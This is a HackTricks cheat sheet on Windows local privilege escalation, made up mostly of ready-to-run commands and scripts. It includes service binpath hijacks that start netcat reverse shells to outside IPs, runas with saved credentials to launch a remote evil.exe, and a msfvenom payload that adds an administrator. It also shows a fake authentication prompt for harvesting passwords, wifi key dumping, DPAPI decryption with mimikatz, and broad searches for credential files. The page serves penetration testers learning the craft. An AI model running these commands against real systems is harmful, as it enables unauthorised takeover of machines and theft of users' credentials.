hacktricks/windows/windows-local-privilege-escalation/README.md

Windows Local Privilege Escalation

Best tool to look for Windows local privilege escalation vectors: WinPEAS****

If you want to know about my latest modifications/additions, join the PEASS & HackTricks telegram group here.
If you want to share some tricks with the community you can also submit pull requests to ****https://github.com/carlospolop/hacktricks ****that will be reflected in this book.
Don't forget to give ⭐ on the github to motivate me to continue developing this book.

Windows version

Version info enumeration

Check if the Windows version has any known vulnerability check also the patches applied.

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

On the system

• post/windows/gather/enum_patches
• post/multi/recon/local_exploit_suggester
• watson
• winpeas (Winpeas has watson embedded)

Locally with system infromation

• https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• https://github.com/bitsadmin/wesng

Github repos of exploits:

• ****https://github.com/nomi-sec/PoC-in-GitHub
• https://github.com/abatchy17/WindowsExploits
• https://github.com/SecWiki/windows-kernel-exploits

Vulnerable Drivers

Look for possible third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Environment

Any credential/Juicy info saved in the env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value

Powershell history

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Antivirus and Detectors

LAPS

LAPS allows you to manage the local Administrator password which is **randomised**, unique, and **changed regularly** on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes...

Audit Settings

These settings decide what is being logged, so you should pay attention

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, is interesting to know where are the logs sent

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

AV

Check is there is any anti virus running:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
Get-MpComputerStatus 

AppLocker Policy

Check which files/extensions are blacklisted/whitelisted.

Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

Useful Writable folders to bypass AppLocker Policy

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing

Users & Groups

You should check if any of the groups where you belong have interesting permissions

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Password Policy

net accounts

Get the content of the clipboard

powershell -command "Get-Clipboard"

Token manipulation

Learn more about what is a token in this page: Windows Tokens.
Take a look to available privileges, some of them can give you SYSTEM privileges. Take a look to this amazing paper.

SeImpersonatePrivilege 3.1.1

Any process holding this privilege can impersonate but not create any token for which it is able to gethandle. You can get a privileged token from a Windows service DCOM making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM. Exploit it with juicy-potato, RogueWinRM needs winrm enabled, SweetPotato, PrintSpoofer.

SeAssignPrimaryPrivilege 3.1.2

It is very similar to SeImpersonatePrivilege, it will use the same method to get a privileged token.
Then, this privilege allows to assign a primary token to a new/suspended process. With the privileged impersonation token you can derivate a primary token DuplicateTokenEx.
With the token, you can create a new process with 'CreateProcessAsUser' or create a process suspended and set the token in general, you cannot modify the primary token of a running process.

SeTcbPrivilege 3.1.3

If you have enabled this token you can use KERB_S4U_LOGON to get an impersonation token for any other user without knowing the credentials, add an arbitrary group admins to the token, set the integrity level of the token to "medium", and assign this token to the current thread SetThreadToken.

SeBackupPrivilege 3.1.4

This privilege causes the system to grant all read access control to any file only read.
Use it to read the password hashes of local Administrator accounts from the registry and then use "psexec" or "wmicexec" with the hash PTH.
This attack won't work if the Local Administrator is disabled, or if it is configured that a Local Admin isn't admin if he is connected remotely.
You can abuse this privilege with: https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1 or with https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

SeRestorePrivilege 3.1.5

Write access control to any file on the system, regardless of the files ACL.
You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.

SeCreateTokenPrivilege 3.1.6

This token can be used as EoP method only if the user can impersonate tokens even without SeImpersonatePrivilege.
In a possible scenario, a user can impersonate the token if it is for the same user and the integrity level is less or equal to the current process integrity level.
In this case, the user could create an impersonation token and add to it a privileged group SID.

SeLoadDriverPrivilege 3.1.7

Load and unload device drivers.
You need to create an entry in the registry with values for ImagePath and Type.
As you don't have access to write to HKLM, you have to use HKCU. But HKCU doesn't mean anything for the kernel, the way to guide the kernel here and use the expected path for a driver config is to use the path: "\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\System\CurrentControlSet\Services\DriverName" the ID is the **RID** of the current user.
So, you have to create all that path inside HKCU and set the ImagePath path to the binary that is going to be executed and Type SERVICE\_KERNEL\_DRIVER 0x00000001.
Learn how to exploit it here.****

SeTakeOwnershipPrivilege 3.1.8

This privilege is very similar to SeRestorePrivilege.
It allows a process to “take ownership of an object without being granted discretionary access” by granting the WRITE_OWNER access right.
First, you have to take ownership of the registry key that you are going to write on and modify the DACL so you can write on it.

SeDebugPrivilege 3.1.9

It allows the holder to debug another process, this includes reading and writing to that process' memory.
There are a lot of various memory injection strategies that can be used with this privilege that evade a majority of AV/HIPS solutions.

Check privileges

whoami /priv

Drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Network

Check for restricted services from the outside

netstat -ano #Opened ports?

List all network interfaces, IP, and DNS.

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

List the ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

More commands for network enumeration here

Software

Check all the installed software, maybe you can overwrite some binary or perform some DLL Hijacking by creating a DLL in the same folder.

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Run at startup

Check if you can overwrite some registry or binary that is going to be executed by other user.
Read the following page to learn more about interesting autoruns locations to escalate privileges:

{% page-ref page="privilege-escalation-with-autorun-binaries.md" %}

Running processes

Check if you can overwrite some binary running or if you can dump the memory of any process containing passwords.

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Checking permissions of the processes binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
	for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
		icacls "%%z" 
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
	)
)

Checking permissions of the folders of the processes binaries dll injection

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v 
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
	icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users 
todos %username%" && echo.
)

Memory Password mining

You can create a memory dump of a running process using procdump from sysinternals. Services like FTP have the credentials in clear text in memory, try to dump the memory and read the credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

{% file src="../../.gitbook/assets/ctx_wsuspect_white_paper 1.pdf" %}

Services

Get a list of services:

net start
wmic service list brief
sc query
Get-Service

Permissions

You can use sc to get information of a service

sc qc <service_name>

It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

It is recommended to check if "Authenticated Users" can modify any service:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Enable service

If you are having this error for example with SSDPSRV:

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

You can enable it using

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)

Modify service binary path

If the group "Authenticated users" has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Other Permissions can be used to escalate privileges:
SERVICE_CHANGE_CONFIG Can reconfigure the service binary
WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG
WRITE_OWNER: Can become owner, reconfigure permissions
GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG

To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions

Services binaries weak permissions

Check if you can modify the binary that is executed by a service.

You can get every binary that is executed by a service using wmic not in system32 and check your permissions using icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

You can also use sc and icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry permissions

You should check if you can modify any service registry.
You can check your permissions over a service registry doing:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.

To change the Path of the binary executed:

reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Unquoted Service Paths

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe 
C:\Program Files\Some.exe 
C:\Program Files\Some Folder\Service.exe

To list all unquoted service paths minus built-in Windows services

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
	for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
		echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
	)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

You can detect and exploit this vulnerability with metasploit: exploit/windows/local/trusted_service_path
You can manually create a service binary with metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

DLL Hijacking

Programs usually can't function by themselves, they have a lot of resources they need to hook into mostly DLL's but also proprietary files. If a program or service loads a file from a directory we have write access to, we can abuse that to pop a shell with the privileges the program runs with.

In order to learn more about how to discover and exploit Dll Hijacking vulnerabilities read this.

Installed Applications

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Windows Subsystem for Linux wsl

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

If you get root user you can listen on any port the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

To easily start bash as root, you can try --default-user root

You can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credentials

MSF-Credentials Plugin

I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim.

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
The Windows Vault stores user credentials for servers, websites and other programs that Windows can log in the users automatically. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.

Windows Vault stores credentials that Windows can log in the users automatically, which means that any Windows application that needs credentials to access a resource server or a website can make use of this Credential Manager & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.

Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow communicate with the credential manager and request the credentials for that resource from the default storage vault.

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator

Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Using runas with a provided set of credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets, or in the case of system encryption, using the system's domain authentication secrets.

The DPAPI keys used for encrypting the user's RSA keys are stored under %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} is the Security Identifier of that user. The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS.

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

You can use mimikatz module dpapi::masterkey with the appropiate arguments `/pvk` or `/rpc` to decrypt it.

The credentials files protected by the master password are usually located in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module if you are root.

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

AppCmd.exe

AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.

This code was extracted from PowerUP:

function Get-ApplicationHost {
    $OrigError = $ErrorActionPreference
    $ErrorActionPreference = "SilentlyContinue"

    # Check if appcmd.exe exists
    if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
        # Create data table to house results
        $DataTable = New-Object System.Data.DataTable

        # Create and name columns in the data table
        $Null = $DataTable.Columns.Add("user")
        $Null = $DataTable.Columns.Add("pass")
        $Null = $DataTable.Columns.Add("type")
        $Null = $DataTable.Columns.Add("vdir")
        $Null = $DataTable.Columns.Add("apppool")

        # Get list of application pools
        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

            # Get application pool name
            $PoolName = $_

            # Get username
            $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
            $PoolUser = Invoke-Expression $PoolUserCmd

            # Get password
            $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
            $PoolPassword = Invoke-Expression $PoolPasswordCmd

            # Check if credentials exists
            if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
                # Add credentials to database
                $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
            }
        }

        # Get list of virtual directories
        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

            # Get Virtual Directory Name
            $VdirName = $_

            # Get username
            $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
            $VdirUser = Invoke-Expression $VdirUserCmd

            # Get password
            $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
            $VdirPassword = Invoke-Expression $VdirPasswordCmd

            # Check if credentials exists
            if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
                # Add credentials to database
                $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
            }
        }

        # Check if any passwords were found
        if( $DataTable.rows.Count -gt 0 ) {
            # Display results in list view that can feed into the pipeline
            $DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
        }
        else {
            # Status user
            Write-Verbose 'No application pool or virtual directory passwords were found.'
            $False
        }
    }
    else {
        Write-Verbose 'Appcmd.exe does not exist in the default location.'
        $False
    }
    $ErrorActionPreference = $OrigError
}

SSH keys in registry

SSH private keys can be stored inside the registry key HKCU\Software\OpenSSH\Agent\Keys so you should check if there is anything interesting in there:

reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys

If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using https://github.com/ropnop/windows_sshagent_extract.

More information about this technique here: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

SCClient / SCCM

Check if C:\Windows\CCM\SCClient.exe exists .
Installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**.

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Ask for credentials

You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them notice that **asking** the client directly for the **credentials** is really **risky**:

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

Common files with credentials

Unattended files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

You can also search for these files using metasploit: post/windows/gather/enum_unattend

Example content_:_

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>

SAM & SYSTEM backups

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

McAffe SiteList.xml

Search for a file called SiteList.xml

Cached GPP Pasword

Before KB2928120 see MS14-025, some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty "cpassword" field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file.

Search in ****C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

• Groups.xml
• Services.xml
• Scheduledtasks.xml
• DataSources.xml
• Printers.xml
• Drives.xml

To decrypt the cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Cloud Credentials

##From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Example of web.config with credentials:

<authentication mode="Forms"> 
    <forms name="login" loginUrl="/admin">
        <credentials passwordFormat = "Clear">
            <user name="Administrator" password="SuperAdminPassword" />
        </credentials>
    </forms>
</authentication>

More possible files with credentials

Known files that some time ago contained passwords in clear-text or Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Search all of the proposed files:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Check Logs IIS, Apache

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

It is also a good idea to search for files that contain specific words like _password_

#Search suspicious files from filename
dir /s /W *pass* == *cred* == *vnc* == *.config* | findstr /i/v "\\windows"

#Search suspicious files from content
findstr /D:C:\ /si password *.xml *.ini *.txt #A lot of output can be generated
findstr /D:C:\ /M /SI password *.xml *.ini *.txt 2>nul | findstr /V /I "\\AppData\\Local \\WinXsX ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.CloudExperienceHost" 2>nul #filtered output

post/windows/gather/credentials/*

Home credentials files

You should also look inside the home folder for files called *password* or *credential* ot something similar.

Credentials in the RecycleBin

You should also check the Bin to look for credentials inside it

